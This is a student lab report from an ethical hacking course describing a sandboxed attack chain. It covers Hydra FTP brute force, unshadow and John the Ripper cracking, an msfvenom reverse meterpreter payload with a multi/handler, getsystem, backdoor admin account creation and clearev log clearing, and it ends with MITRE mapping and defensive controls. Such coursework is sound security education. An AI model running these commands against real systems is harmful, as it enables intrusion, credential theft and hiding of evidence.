

SYSTEM HACKING LAB REPORT

BACKGROUND	
Course:	CIS 170 - Hands-On Ethical Hacking and Network Defense
Term:	Spring 2026
Instructor:	Ray Lampano, Jnr.
Section Number:	15480/15481
Student Name:	Donaven Bruce
Student ID:	[Redacted]
Submission Platform:	Canvas
Report Date:	2026-01-01
Report Version:	1.0
Lab Title:	System Hacking Techniques
Module Reference:	System Hacking
Lab Type:	Live Virtual Machine Lab
Date Completed:	2026-03-11
Time Spent:	Approximately 1 hour
ENVIRONMENT	
Platforms and Systems:	
- Primary environment: Practice Labs / Live Virtual Machine Labs controlled sandbox. - Primary systems used: PLABKALI01 (Kali Linux 2019.2), PLABWIN10 (Windows 10), PLABDC01 (Windows Server 2019), and PLABDM01 as shown in the topology. - The work centered on the Kali workstation and Windows 10 system, with the broader domain environment present as part of the isolated lab network. - Remote access to the virtual machines was provided through the course platform.	
Context and Constraints:	
- The work performed in this environment covered password attacks, wordlists, Windows Firewall state changes, John the Ripper, rainbow tables, hashes, Msfvenom, and the Metasploit Framework. - The platform documentation noted that portions of the software stack are deprecated and may not behave like modern production systems. - Windows Updates were disabled in the provided environment, making this a legacy-style training scenario rather than a current hardened baseline.	
Authorization and Scope:	
- All activity took place only inside approved academic systems and isolated sandboxes. - No public IP space, real organizations, or unauthorized targets were involved. - No non-lab credentials or real-world data were collected, stored, or reused. - Restricted material and lab credentials are omitted or redacted from this report. - In-scope systems included the Kali attacker VM, the Windows 10 workstation, the Windows Server systems shown in the topology, and the designated vulnerable services. - A representative target used during credential testing was 192.168.0.10.	
Work Objectives:	
- Assess weak credential exposure through both online and offline attack paths. - Use wordlists, Hydra, John the Ripper, rainbow table generation tools, and Cain & Abel to evaluate password and hash exposure from multiple angles. - Generate a standalone payload with Msfvenom and handle the reverse connection with the Metasploit multi/handler module. - Relate offensive actions to detection opportunities, attack prevention, and security program considerations.	

TECHNICAL ANALYSIS

Credential Attack Preparation and Wordlist Development:

- Windows Defender Firewall on PLABWIN10 was turned off inside the lab environment to support the credential attack and payload delivery workflow.
- On PLABKALI01, the preinstalled Kali wordlists under /usr/share/wordlists were reviewed to assess available dictionary sources.
- A custom wordlist named plab.txt was created manually and populated with candidate values including test, bee, bug, 12345, 12345678, password, passw0rd, Passw0rd, p@ssw0rd, admin, and admin@123.
- The file was saved and verified locally on the Kali system.
- The CeWL utility was also used to generate an additional wordlist, test.txt, from the intranet target, demonstrating automated word harvesting from site content.
- The generated file was opened and verified to confirm that site-derived terms had been captured successfully.

Online Credential Attack Results:

- Hydra was used against the FTP service on 192.168.0.10 with the username bee and the custom wordlist plab.txt.
- The run displayed authentication attempts and stopped after a successful match was found.
- The result demonstrated that a weak password protecting the FTP service could be identified quickly through a small dictionary-based attack.
- This portion of the workflow demonstrated the practical relationship between weak password selection, available wordlists, and exposure of network-facing services.

Offline Password and Hash Analysis:

- The assessment then shifted from network authentication to offline password and hash recovery workflows involving stored credential material.
- On the Kali system, the /etc/passwd and /etc/shadow files were combined into a single cracking input file named pass by using the unshadow utility.
- John the Ripper was then run against the pass file to recover stored password material.
- The output confirmed recovery from the combined data set, including the root account in the lab example.
- This stage showed that encrypted password data stored offline can become actionable once an attacker gains access to the underlying files.

Rainbow Table Generation and Windows Hash Recovery:

- On PLABWIN10, an MD5 rainbow table was configured within the Winrtgen utility with a minimum length of 5 and a chain count of 1000, then generated successfully.
- The completed table file appeared in the Winrtgen directory, confirming successful table creation.
- Cain & Abel was then used under the Cracker tab with LM & NTLM Hashes selected.
- Hashes were imported through the Add NT Hashes wizard, after which the Administrator entry was selected for brute-force testing against NTLM hashes.
- The brute-force configuration used an expanded predefined character set and a maximum password length of 8 before the run was started and stopped.
- This portion of the workflow demonstrated the scale and time cost of brute-force recovery, as well as the visibility of Windows account hashes inside recovery tools.

PAYLOAD EXECUTION AND POST-EXPLOITATION

Payload Generation and Transfer:

- Available payloads were reviewed with msfvenom before a Windows meterpreter reverse TCP executable was generated on PLABKALI01.
- The resulting executable payload.exe was created successfully on the Kali system.
- A Python SimpleHTTPServer instance was started to expose the payload over HTTP.
- On PLABWIN10, Internet Explorer was used to browse to http://192.168.0.4:8000/payload.exe, and the file was saved into the Downloads folder.
- This phase documented how a generated payload can be staged, hosted, transferred, and retrieved by a target host inside a controlled environment.

Handler Configuration and Session Establishment:

- Metasploit was launched with msfconsole on PLABKALI01.
- The multi/handler module was selected and configured with the same windows/meterpreter/reverse_tcp payload used during payload creation.
- LHOST was set to 192.168.0.4 and the handler was started with the exploit command.
- On PLABWIN10, Windows Defender real-time protection was turned off to allow the payload to execute within the training environment.
- The downloaded payload.exe file was then launched from the Downloads folder.
- After execution, the Kali handler received a successful meterpreter connection from the Windows system, confirming reverse session establishment.

Post-Exploitation Activity:

- Within the meterpreter session, getuid was used to identify the current logged-in account.
- The getsystem command executed successfully, demonstrating privilege escalation inside the lab environment.
- A shell was opened from meterpreter to access the Windows command prompt directly.
- The net users command displayed the accounts present on the compromised host.
- A new user account named plabuser was created and then added to the local Administrators group.
- The clearev command was subsequently issued from meterpreter, clearing Windows event logs within the scope of the environment.
- Taken together, these actions documented a full chain from payload execution to session capture, privilege escalation, shell access, account manipulation, and log clearing.

Key Commands and Artifacts by System:

PLABKALI01 - Wordlists / Credential Attack / Payload Handling

```
ls -l /usr/share/wordlists
leafpad plab.txt
cewl -w test.txt -d 5 -m 3 intranet
hydra -t 5 -V -f -l bee -P plab.txt 192.168.0.10 ftp
unshadow /etc/passwd /etc/shadow > pass
john pass
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.4 -f exe -o payload.exe
python -m SimpleHTTPServer
msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.0.4
exploit
getuid
getsystem
shell
net users
net user /add plabuser Test**1234
net localgroup administrators plabuser /add
clearev
```

PLABWIN10 - Host-Side Actions / Recovery Tools

```
Windows Defender Firewall disabled
Winrtgen configured and MD5 rainbow table generated
Cain & Abel opened; LM & NTLM hashes imported; brute-force dialog launched
Internet Explorer used to retrieve payload.exe from 192.168.0.4:8000
Windows Defender real-time protection disabled before payload execution
payload.exe launched from Downloads
```

Primary files and artifacts observed

```
plab.txt, test.txt, pass, payload.exe, and the generated rainbow table file
within the Winrtgen folder.
```

DEFENSIVE MAPPING AND SUMMARY

Technique Summary:

- The completed work covered online password attacks, offline password cracking, rainbow table generation, Windows hash visibility, standalone payload creation, payload delivery, reverse-session handling, privilege escalation, shell access, account creation, and log clearing.
- The strongest recurring theme was that weak credentials, weak protective controls, and unsafe execution conditions can be chained together very quickly.
- The work also showed that attacker success depends on password weakness, host misconfiguration, user execution, and low visibility working together.

MITRE ATT&CK Mapping:

- Credential Access: T1110 Brute Force.
- Credential Access: T1003 OS Credential Dumping, conceptually related where password hashes or equivalent credential material are acquired and analyzed offline.
- Execution: T1059 Command and Scripting Interpreter, relevant to command-driven activity during exploitation and shell interaction.
- Execution / Payloads: reverse meterpreter payload execution through user-launched executable.
- Privilege Escalation: T1068 Exploitation for Privilege Escalation, conceptually aligned with successful getsystem activity in the environment.
- Persistence / Account Manipulation: account creation and administrator group assignment demonstrated persistence-oriented post-exploitation behavior.
- Defense Evasion: event log clearing through clearev represented a direct anti-forensic action.
- Command and Control: reverse-session handling through the multi/handler listener reflected controlled C2-style session establishment.

Detection Opportunities:

- High-signal indicators included repeated authentication failures, successful login following rapid guessing attempts, suspicious use of password recovery tools, and unusual executable staging.
- The payload phase would also stand out through new executable downloads, unexpected process launches from the Downloads folder, unusual outbound connections, and reverse-session callbacks.
- Post-exploitation visibility points included privilege changes, command shell spawning, account creation, local administrator group modification, and event log clearing.
- Authentication logs, process creation logs, EDR telemetry, network flow records, and local security event logs would all be valuable data sources for detection.

Defensive Controls:

- Strong password policy, unique credentials, and rate-limiting or lockout controls directly reduce exposure to online password attacks.
- Hardened storage of password material and tighter access control around credential stores reduce the effectiveness of offline cracking workflows.
- Application control, endpoint protection, network egress monitoring, and user awareness reduce the chance that a staged payload will execute and call back successfully.
- Least privilege, patching, and alerting on administrative changes reduce the impact of successful post-exploitation activity.
- Monitoring for log clearing and suspicious account creation remains especially important for detecting late-stage attacker behavior.

Completion Verification:

- Work was completed across online credential attack activity, offline password and hash analysis, and standalone payload generation with reverse-session handling.
- Completion was evidenced by successful wordlist creation, Hydra password discovery, unshadow and John the Ripper output, rainbow table generation, visibility of Windows hashes in Cain & Abel, payload creation, reverse session establishment, and post-exploitation commands.
- The report therefore documents the full workflow from credential attack through payload-based compromise and post-compromise activity inside the sandbox.

Key Findings:

- 1) Weak passwords can be exposed rapidly with even a small custom wordlist.
- 2) Offline access to password material creates a major escalation in credential exposure risk.
- 3) Rainbow tables and brute-force tooling make password cracking more systematic and repeatable.
- 4) Payload generation and handler setup show how quickly execution chains can be established when defensive protections are reduced.
- 5) Privilege escalation, user creation, and log clearing demonstrate how a compromise can move from initial access to persistence and defense evasion in a short sequence.
- 6) The defensive side of the work was as important as the offensive side because nearly every action produced a corresponding detection and prevention lesson.

Issues / Deviations / Notes:

- The platform explicitly noted that parts of the software stack are deprecated and no longer maintained, which framed the environment as a guided legacy scenario.
- Windows Updates were disabled in the environment, and some steps depended on turning off Windows Firewall and Windows Defender protections for the workflow to succeed.
- These conditions made the environment intentionally permissive and are important context for interpreting the results.

Reflection:

- This work tied together several areas: password attacks, hash recovery, payload delivery, session handling, escalation, and defensive analysis.
- The strongest takeaway was how efficiently a chain of small weaknesses can be combined into a larger compromise once visibility and preventive controls are reduced.
- The completed workflow supports future work in ethical hacking, vulnerability assessment, and defensive security analysis by documenting both the mechanics of compromise and the places where defenders have the best opportunity to detect or interrupt it.